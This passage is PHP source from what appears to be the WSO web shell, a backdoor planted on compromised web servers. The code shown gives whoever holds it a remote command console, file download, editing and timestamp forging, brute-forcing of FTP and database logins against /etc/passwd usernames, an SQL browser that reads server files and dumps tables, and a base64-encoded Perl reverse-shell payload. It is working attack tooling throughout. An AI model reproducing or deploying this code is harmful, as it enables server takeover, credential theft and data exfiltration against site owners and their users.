        if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo"</pre></div><br><h1>Search files:</h1><div class=content>
        <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
            <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
            <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
            <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
            <tr><td></td><td><input type='submit' value='>>'></td></tr>
            </table></form>";

    function wsoRecursiveGlob($path) {
        if(substr($path, -1) != '/')
            $path.='/';
        $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
        if(is_array($paths)&&@count($paths)) {
            foreach($paths as $item) {
                if(@is_dir($item)){
                    if($path!=$item)
                        wsoRecursiveGlob($item);
                } else {
                    if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
                }
            }
        }
    }
    if(@$_POST['p3'])
        wsoRecursiveGlob($_POST['c']);
    echo "</div><br><h1>Search for hash:</h1><div class=content>
        <form method='post' target='_blank' name='hf'>
            <input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
            <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
            <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
        </form></div>";
    wsoFooter();
}

function actionFilesTools() {
    if( isset($_POST['p1']) )
        $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
        if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            } else
                header("Content-Type: application/octet-stream");
            $fp = @fopen($_POST['p1'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        }exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
        if(!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    wsoHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists(@$_POST['p1']) ) {
        echo 'File not exists';
        wsoFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if(!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @filegroup($_POST['p1']);
    } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
        $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    else
        $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
        echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    echo '<br><br>';
    switch($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if( @is_readable($_POST['p1']) ) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = @highlight_file($_POST['p1'],true);
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
            }
            break;
        case 'chmod':
            if( !empty($_POST['p3']) ) {
                $perms = 0;
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
                if(!@chmod($_POST['p1'], $perms))
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if( !is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if( !empty($_POST['p3']) ) {
                $time = @filemtime($_POST['p1']);
                $_POST['p3'] = substr($_POST['p3'],1);
                $fp = @fopen($_POST['p1'],"w");
                if($fp) {
                    @fwrite($fp,$_POST['p3']);
                    @fclose($fp);
                    echo 'Saved!<br><script>p3_="";</script>';
                    @touch($_POST['p1'],$time,$time);
                }
            }
            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>','','');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= ' '; break;
                    case 9:  $h[2] .= ' '; break;
                    case 10: $h[2] .= ' '; break;
                    case 13: $h[2] .= ' '; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
            }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
            break;
        case 'rename':
            if( !empty($_POST['p3']) ) {
                if(!@rename($_POST['p1'], $_POST['p3']))
                    echo 'Can\'t rename!<br>';
                else
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if( !empty($_POST['p3']) ) {
                $time = strtotime($_POST['p3']);
                if($time) {
                    if(!touch($_POST['p1'],$time,$time))
                        echo 'Fail!';
                    else
                        echo 'Touched!';
                } else echo 'Bad time format!';
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
            break;
    }
    echo '</div>';
    wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
        ob_start();
        echo "d.cf.cmd.value='';\n";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
            if(@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "c_='".$GLOBALS['cwd']."';";
            }
        }
        echo "d.cf.output.value+='".$temp."';";
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "\n", $temp;
        exit;
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
    wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push('');
    cur = cmds.length-1;
}
</script>";
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
    foreach($GLOBALS['aliases'] as $n => $v) {
        if($v == '') {
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
            continue;
        }
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    }
    
    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if(!empty($_POST['p1'])) {
        echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
    }
    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
    echo '</form></div><script>d.cf.cmd.focus();</script>';
    wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
    die('bye!');
}

function actionSelfRemove() {

    if($_POST['p1'] == 'yes')
        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
            die('Shell has been removed');
        else
            echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    wsoFooter();
}

function actionBruteforce() {
    wsoHeader();
    if( isset($_POST['proto']) ) {
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
        if( $_POST['proto'] == 'ftp' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST['proto'] == 'mysql' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif( $_POST['proto'] == 'pgsql' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                    }
                    if(@$_POST['reverse']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
        .'<span>Server:port</span></td>'
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
        .'<tr><td><span>Brute type</span></td>'
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
        .'<td><input type=text name=login value="root"></td></tr>'
        .'<tr><td><span>Dictionary</span></td>'
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    echo '</div><br>';
    wsoFooter();
}

function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type) {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type) {
                case 'mysql':
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type) {
                case 'mysql':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                    break;
                case 'pgsql':
                    return $this->res = @pg_query($this->link,$str);
                    break;
            }
            return false;
        }
        function fetch() {
            $res = func_num_args()?func_get_arg(0):$this->res;
            switch($this->type) {
                case 'mysql':
                    return @mysql_fetch_assoc($res);
                    break;
                case 'pgsql':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs() {
            switch($this->type) {
                case 'mysql':
                        return $this->query("SHOW databases");
                break;
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                break;
            }
            return false;
        }
        function listTables() {
            switch($this->type) {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                break;
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                break;
            }
            return false;
        }
        function error() {
            switch($this->type) {
                case 'mysql':
                    return @mysql_error();
                break;
                case 'pgsql':
                    return @pg_last_error();
                break;
            }
            return false;
        }
        function setCharset($str) {
            switch($this->type) {
                case 'mysql':
                    if(function_exists('mysql_set_charset'))
                        return @mysql_set_charset($str, $this->link);
                    else
                        $this->query('SET CHARSET '.$str);
                    break;
                case 'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function loadFile($str) {
            switch($this->type) {
                case 'mysql':
                    return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
                break;
                case 'pgsql':
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
                    $r=array();
                    while($i=$this->fetch())
                        $r[] = $i['file'];
                    $this->query('drop table wso2');
                    return array('file'=>implode("\n",$r));
                break;
            }
            return false;
        }
        function dump($table, $fp = false) {
            switch($this->type) {
                case 'mysql':
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
                    $create = mysql_fetch_array($res);
                    $sql = $create[1].";\n";
                    if($fp) fwrite($fp, $sql); else echo($sql);
                    $this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
                    while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";\n\n";
                        }

                        $columns = array();
                        foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
                            $columns[] = "`".$k."`";
                        }
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "\n\t,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
                    }
                    if(!$head)
                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
                break;
                case 'pgsql':
                    $this->query('SELECT * FROM '.$table);
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "'".addslashes($v)."'";
                            $columns[] = $k;
                        }
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
                        if($fp) fwrite($fp, $sql); else echo($sql);
                    }
                break;
            }
            return false;
        }
    };
    $db = new DbClass($_POST['type']);
    if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
                $db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
    }
    wsoHeader();
    echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
    $tmp = "<input type=text name=sql_base value=''>";
    if(isset($_POST['sql_host'])){
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch($_POST['charset']) {
                case "Windows-1251": $db->setCharset('cp1251'); break;
                case "UTF-8": $db->setCharset('utf8'); break;
                case "KOI8-R": $db->setCharset('koi8r'); break;
                case "KOI8-U": $db->setCharset('koi8u'); break;
                case "cp866": $db->setCharset('cp866'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
            }
            echo '</select>';
        }
        else echo $tmp;
    }else
        echo $tmp;
    echo "</td>
                <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
            </tr>
        </table>
        <script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
            function st(t,l) {
                d.sf.p1.value = 'select';
                d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
                d.sf.submit();
            }
            function is() {
                for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
            }
        </script>";
    if(isset($db) && $db->link){
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if(!empty($_POST['sql_base'])){
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                if(@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                    $num = $db->fetch();
                    $pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
                    if($_POST['type']=='pgsql')
                        $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
                    else
                        $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
                    echo "<br><br>";
                }
                if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                    $db->query(@$_POST['p2']);
                    if($db->res !== false) {
                        $title = false;
                        echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                        $line = 1;
                        while($item = $db->fetch()) {
                            if(!$title) {
                                echo '<tr>';
                                foreach($item as $key => $value)
                                    echo '<th>'.$key.'</th>';
                                reset($item);
                                $title=true;
                                echo '</tr><tr>';
                                $line = 2;
                            }
                            echo '<tr class="l'.$line.'">';
                            $line = $line==1?2:1;
                            foreach($item as $key => $value) {
                                if($value == null)
                                    echo '<td><i>null</i></td>';
                                else
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
                            }
                            echo '</tr>';
                        }
                        echo '</table>';
                    } else {
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
                    }
                }
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
            if(@$_POST['p1'] == 'loadfile') {
                $file = $db->loadFile($_POST['p2']);
                echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
            }
    } else {
        echo htmlspecialchars($db->error());
    }
    echo '</div>';
    wsoFooter();
}
function actionNetwork() {
    wsoHeader();
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
